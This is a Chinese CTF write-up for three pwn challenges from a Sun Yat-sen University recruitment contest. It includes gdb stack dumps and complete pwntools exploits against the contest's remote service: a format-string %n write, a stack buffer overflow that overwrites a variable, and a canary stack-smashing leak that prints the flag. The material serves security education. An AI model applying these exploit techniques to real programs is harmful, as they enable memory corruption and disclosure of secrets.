1. 程式人生 > >中山大學招新賽

中山大學招新賽

pwn1

--

修改小數字

%n,不輸出字元,但是把已經成功輸出的字元個數寫入對應的整型指標引數所指的變數。

我們的payload可以設計成 address+(100-4)長度+%x$n //x是format位置和v4位置的距離

利用gdb載入pwn1,我們先輸入%3$p

gdb-peda$ ni
0x1         //輸出0x1
[----------------------------------registers-----------------------------------]
EAX: 0x3 
EBX: 0x0 
ECX: 0x3 
EDX: 0xf7faa890 --> 0x0 
ESI: 0xf7fa9000 --> 0x1d5d8c 
EDI: 0x0 
EBP: 0xffffd288 --> 0x0 
ESP: 0xffffd200 --> 0xffffd21c ("%3$p")
EIP: 0x804857d (<main+114>:	add    esp,0x10)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048574 <main+105>:	lea    eax,[ebp-0x6c]
   0x8048577 <main+108>:	push   eax
   0x8048578 <main+109>:	call   0x80483c0 <
[email protected]
> => 0x804857d <main+114>: add esp,0x10 0x8048580 <main+117>: mov eax,DWORD PTR [ebp-0x70] 0x8048583 <main+120>: cmp eax,0x64 0x8048586 <main+123>: jne 0x8048598 <main+141> 0x8048588 <main+125>: sub esp,0xc [------------------------------------stack-------------------------------------] 0000| 0xffffd200 --> 0xffffd21c ("%3$p") 0004| 0xffffd204 --> 0xffffd21c ("%3$p") //format的地址 %p位置 0008| 0xffffd208 --> 0xf7fce410 --> 0x80482ee ("GLIBC_2.0") //%2$p位置 0012| 0xffffd20c --> 0x1 //%3$p位置 0016| 0xffffd210 --> 0x0 0020| 0xffffd214 --> 0x1 0024| 0xffffd218 --> 0x7b ('{') //v4在棧中位置 0028| 0xffffd21c ("%3$p") //format在棧中位置 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0804857d in main ()

我們的payload設計成 p32(0xffffd218)+%96d+%7$n ,

這個payload的意思,首先%7$n先找到%7$p的位置,而這個位置存著0xffffd218地址,$n修改0xffffd218位置的資料為p32(0xffffd218)+%96d的長度既修改成100

exp如下

from pwn import *
#sh = process('./pwn1')
sh = remote("sysucsa.me",5050)
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%096d' + '%7$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

pwn2

最簡單的棧資料覆蓋

s在棧中位置為[ebp-20h]

v5在棧中的位置為[ebp-Ch]

s和v5的相對位置為0x14

payload為 'a'*0x14 + '\xcd\xab\x34\x12'    //305441741轉成16進製為 1234abcd,

exp如下

from pwn import *
#sh = process('./pwn2')
sh = remote("sysucsa.me",5051)
payload = 'A'*20+'\xcd\xab\x34\x12\n'
print payload
sh.sendline(payload)
sh.interactive()

pwn3

這裡涉及到canary保護機制,我們可以可以利用canary的報錯機制。把我們想要leak的地址把argv[1]覆蓋。

flag存在buffer裡面

.bss:0804A060                 public buffer .bss:0804A060 buffer          db    ? ;               ; DATA XREF: main+80↑o

然後算一下argv[0]與buf的相對距離

gdb-peda$ stack 0000| 0xffffd290 --> 0x1  0004| 0xffffd294 --> 0xffffd324 --> 0xffffd4b4 ("/root/Documents/pwn3/pwn3") 0008| 0xffffd298 --> 0xffffd32c --> 0xffffd4ce ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)

[----------------------------------registers-----------------------------------] EAX: 0xf7faadd8 --> 0xffffd32c --> 0xffffd4ce ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...) EBX: 0x0  ECX: 0xffffd290 --> 0x1  EDX: 0xffffd2b4 --> 0x0  ESI: 0xf7fa9000 --> 0x1d5d8c  EDI: 0x0  EBP: 0xffffd278 --> 0x0  ESP: 0xffffd274 --> 0xffffd290 --> 0x1  EIP: 0x80485a9 (<main+14>:    sub    esp,0x24) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------]

0004| 0xffffd294 --> 0xffffd324 --> 0xffffd4b4 ("/root/Documents/pwn3/pwn3")

可以得知argv[0]的位置為0xffffd324

ebp=0xffffd278 

buf =ebp-20h = 0xffffd258

argv[0]-buf=0xcc

payload = '\00'*0xcc + p32(0x0804A060)

exp如下

from pwn import *
context.log_level = 'debug'

cn = remote('sysucsa.me', 5052)
#cn = process('pwn_smashes')
cn.recv()
cn.recv()
cn.sendline('\00'*204+p32(0x804A060))#x 52~59
cn.recv()
cn.interactive()
#gdb.attach(cn)
#log.success('flag is:'+flag)